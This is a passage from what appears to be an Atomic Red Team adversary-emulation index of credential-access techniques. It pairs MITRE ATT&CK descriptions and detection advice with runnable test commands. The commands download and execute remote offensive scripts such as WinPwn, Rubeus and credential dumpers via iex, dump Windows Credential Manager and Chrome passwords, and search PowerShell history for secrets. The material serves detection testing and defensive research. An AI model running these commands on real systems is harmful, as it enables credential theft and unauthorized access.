Kerberoasting Using Rubeus auto_generated_guid: 8c385f88-4d47-4c9a-814d-93d9deec8c71 description: PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn supported_platforms: - windows executor: command: |- iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1') Invoke-Rubeus -Command "asreproast /format:hashcat /nowrap" name: powershell T1558: technique: modified: '2024-03-01T16:58:02.395Z' name: Steal or Forge Kerberos Tickets description: | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist) Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Tim (Wadhwa-)Brown - Cody Thomas, SpecterOps x_mitre_deprecated: false x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS x_mitre_version: '1.5' x_mitre_data_sources: - 'Command: Command Execution' - 'Logon Session: Logon Session Metadata' - 'Active Directory: Active Directory Credential Request' - 'File: File Access' x_mitre_system_requirements: - Kerberos authentication enabled type: attack-pattern id: attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a created: '2020-02-11T19:12:46.830Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1558 external_id: T1558 - source_name: CERT-EU Golden Ticket Protection description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf - source_name: Microsoft Detecting Kerberoasting Feb 2018 description: Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018. url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ - source_name: Kekeo description: Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021. url: https://github.com/gentilkiwi/kekeo - source_name: SpectorOps Bifrost Kerberos macOS 2019 description: Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021. url: https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f - source_name: Medium Detecting Attempts to Steal Passwords from Memory description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea - source_name: Stealthbits Detect PtT 2019 description: Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020. url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks - source_name: macOS kerberos framework MIT description: Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021. url: http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html - source_name: MIT ccache description: 'Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.' url: https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html - source_name: AdSecurity Cracking Kerberos Dec 2015 description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018. url: https://adsecurity.org/?p=2293 - source_name: ADSecurity Detecting Forged Tickets description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015. url: https://adsecurity.org/?p=1515 - source_name: Microsoft Kerberos Golden Ticket description: Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020. url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285 - source_name: Microsoft Klist description: Microsoft. (2021, March 3). klist. Retrieved October 14, 2021. url: https://docs.microsoft.com/windows-server/administration/windows-commands/klist - source_name: ADSecurity Kerberos Ring Decoder description: Sean Metcalf. (2014, September 12). Kerberos, Active Directory’s Secret Decoder Ring. Retrieved February 27, 2020. url: https://adsecurity.org/?p=227 - source_name: Brining MimiKatz to Unix description: Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021. url: https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf - source_name: Linux Kerberos Tickets description: Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021. url: https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1555: technique: modified: '2024-02-26T14:19:09.417Z' name: Credentials from Password Stores description: 'Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_deprecated: false x_mitre_detection: Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - IaaS x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Access' - 'Command: Command Execution' - 'Process: Process Access' - 'Cloud Service: Cloud Service Enumeration' - 'Process: Process Creation' - 'Process: OS API Execution' type: attack-pattern id: attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0 created: '2020-02-11T18:48:28.456Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1555 external_id: T1555 - source_name: F-Secure The Dukes description: 'F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.' url: https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1555 atomic_tests: - name: Extract Windows Credential Manager via VBA auto_generated_guid: 234f9b7c-b53d-4f32-897b-b880a6c9ea7b description: | This module will extract the credentials found within the Windows credential manager and dump them to $env:TEMP\windows-credentials.txt supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Microsoft Word must be installed ' prereq_command: | try { New-Object -COMObject "word.Application" | Out-Null $process = "winword" Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1555\src\T1555-macrocode.txt" -officeProduct "Word" -sub "Extract" cleanup_command: 'Remove-Item "$env:TEMP\windows-credentials.txt" -ErrorAction Ignore ' name: powershell - name: Dump credentials from Windows Credential Manager With PowerShell [windows Credentials] auto_generated_guid: c89becbe-1758-4e7d-a0f4-97d2188a23e3 description: This module will extract the credentials from Windows Credential Manager supported_platforms: - windows executor: name: powershell elevation_required: false command: "IEX (IWR 'https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force \n" - name: Dump credentials from Windows Credential Manager With PowerShell [web Credentials] auto_generated_guid: 8fd5a296-6772-4766-9991-ff4e92af7240 description: This module will extract the credentials from Windows Credential Manager supported_platforms: - windows executor: name: powershell elevation_required: false command: 'IEX (IWR ''https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1'' -UseBasicParsing); Get-CredManCreds -Force ' - name: Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials] auto_generated_guid: 36753ded-e5c4-4eb5-bc3c-e8fba236878d description: This module will enumerate credentials stored in Windows Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe supported_platforms: - windows executor: name: powershell elevation_required: false command: 'vaultcmd /listcreds:"Windows Credentials" /all ' - name: Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials] auto_generated_guid: bc071188-459f-44d5-901a-f8f2625b2d2e description: This module will enumerate credentials stored in Web Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe supported_platforms: - windows executor: name: powershell elevation_required: false command: 'vaultcmd /listcreds:"Web Credentials" /all ' - name: WinPwn - Loot local Credentials - lazagne auto_generated_guid: '079ee2e9-6f16-47ca-a635-14efcd994118' description: "The [LaZagne project](https://github.com/AlessandroZ/LaZagne) is an open source application used to retrieve lots of passwords stored on a local computer. \nEach software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). \nThis tool has been developed for the purpose of finding these passwords for the most commonly-used software" supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') lazagnemodule -consoleoutput -noninteractive name: powershell - name: WinPwn - Loot local Credentials - Wifi Credentials auto_generated_guid: afe369c2-b42e-447f-98a3-fb1f4e2b8552 description: Loot local Credentials - Wifi Credentials technique via function of WinPwn supported_platforms: - windows executor: command: "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nwificreds -consoleoutput -noninteractive " name: powershell - name: WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords auto_generated_guid: db965264-3117-4bad-b7b7-2523b7856b92 description: Loot local Credentials - Decrypt Teamviewer Passwords technique via function of WinPwn supported_platforms: - windows executor: command: "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndecryptteamviewer -consoleoutput -noninteractive " name: powershell T1552: technique: modified: '2024-04-15T21:33:12.892Z' name: Unsecured Credentials description: 'Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior. Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like cat ~/.bash_history. Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '1.3' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Access' - 'Application Log: Application Log Content' - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Access' - 'User Account: User Account Authentication' type: attack-pattern id: attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517 created: '2020-02-04T12:47:23.631Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552 external_id: T1552 - source_name: Brining MimiKatz to Unix description: Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021. url: https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1552 atomic_tests: - name: AWS - Retrieve EC2 Password Data using stratus auto_generated_guid: a21118de-b11e-4ebd-b655-42f11142df0c description: 'This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.credential-access.ec2-get-password-data/ ' supported_platforms: - linux - macos - iaas:aws input_arguments: stratus_path: description: Path of stratus binary type: path default: "$PathToAtomicsFolder/T1552/src" aws_region: description: AWS region to detonate type: string default: us-west-2 dependency_executor_name: sh dependencies: - description: 'Stratus binary must be present at the (#{stratus_path}/stratus) ' prereq_command: 'if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi; ' get_prereq_command: "if [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi\n" - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS defult profile using: aws configure ' executor: command: "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting warmup\"\n./stratus warmup aws.credential-access.ec2-get-password-data\necho \"starting detonate\"\n./stratus detonate aws.credential-access.ec2-get-password-data --force\n" cleanup_command: | export AWS_REGION=#{aws_region} echo "Cleanup detonation" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus* name: sh elevation_required: false - name: Search for Passwords in Powershell History auto_generated_guid: f9c3d0ab-479b-4019-945f-22ace2b1731a description: | Find passwords in the powershell history files Searching for following strings: "password", "-p", "key", "pwd", "pass" supported_platforms: - windows executor: command: 'ls -R C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Select-String "password", "-p", "key", "pwd", "pass" ' name: powershell elevation_required: true T1556.007: technique: modified: '2022-11-08T14:00:00.188Z' name: Hybrid Identity description: "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: '' x_mitre_platforms: - Windows - Azure AD - SaaS - Google Workspace - Office 365 - IaaS x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Praetorian x_mitre_data_sources: - 'File: File Modification' - 'Module: Module Load' - 'Application Log: Application Log Content' - 'Logon Session: Logon Session Creation' type: attack-pattern id: attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f created: '2022-09-28T13:29:53.354Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/007 external_id: T1556.007 - source_name: Azure AD Connect for Read Teamers description: Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers. Retrieved September 28, 2022. url: https://blog.xpnsec.com/azuread-connect-for-redteam/ - source_name: AADInternals Azure AD On-Prem to Cloud description: 'Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting access to cloud as an on-prem admin. Retrieved September 28, 2022.' url: https://o365blog.com/post/on-prem_admin/ - source_name: MagicWeb description: 'Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.' url: https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/ - source_name: Azure AD Hybrid Identity description: Microsoft. (2022, August 26). Choose the right authentication method for your Azure Active Directory hybrid identity solution. Retrieved September 28, 2022. url: https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn - source_name: Mandiant Azure AD Backdoors description: Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022. url: https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1555.003: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Ryan Benson, Exabeam - Barry Shteiman, Exabeam - Sylvain Gil, Exabeam - RedHuntLabs, @redhuntlabs object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8 type: attack-pattern created: '2020-02-12T18:57:36.041Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1555.003 url: https://attack.mitre.org/techniques/T1555/003 - source_name: Talos Olympic Destroyer 2018 url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. - source_name: Microsoft CryptUnprotectData April 2018 url: https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata description: Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019. - source_name: Proofpoint Vega Credential Stealer May 2018 url: https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign description: Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019. - source_name: FireEye HawkEye Malware July 2017 url: https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html description: Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019. - source_name: GitHub Mimikittenz July 2016 url: https://github.com/putterpanda/mimikittenz description: Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019. modified: '2022-05-11T14:00:00.188Z' name: 'Credentials from Password Stores: Credentials from Web Browsers' description: "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator)." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: 'Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\Local\Google\Chrome\User Data\Default\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).' x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Access' - 'File: File Access' - 'Process: OS API Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1555.003 atomic_tests: - name: Run Chrome-password Collector auto_generated_guid: 8c05b133-d438-47ca-a630-19cc464c4622 description: | A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}. Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of PathToAtomicsFolder\..\ExternalPayloads\sysinternals\passwordsdb. Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml) supported_platforms: - windows input_arguments: file_path: description: File path for modified Sysinternals type: string default: PathToAtomicsFolder\..\ExternalPayloads dependency_executor_name: powershell dependencies: - description: 'Modified Sysinternals must be located at #{file_path} ' prereq_command: 'if (Test-Path "#{file_path}\SysInternals") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip" Expand-Archive "#{file_path}\Modified-SysInternalsSuite.zip" "#{file_path}\sysinternals" -Force Remove-Item "#{file_path}\Modified-SysInternalsSuite.zip" -Force executor: command: | Set-Location -path "#{file_path}\Sysinternals"; ./accesschk.exe -accepteula .; cleanup_command: 'Remove-Item "#{file_path}\Sysinternals" -Force -Recurse 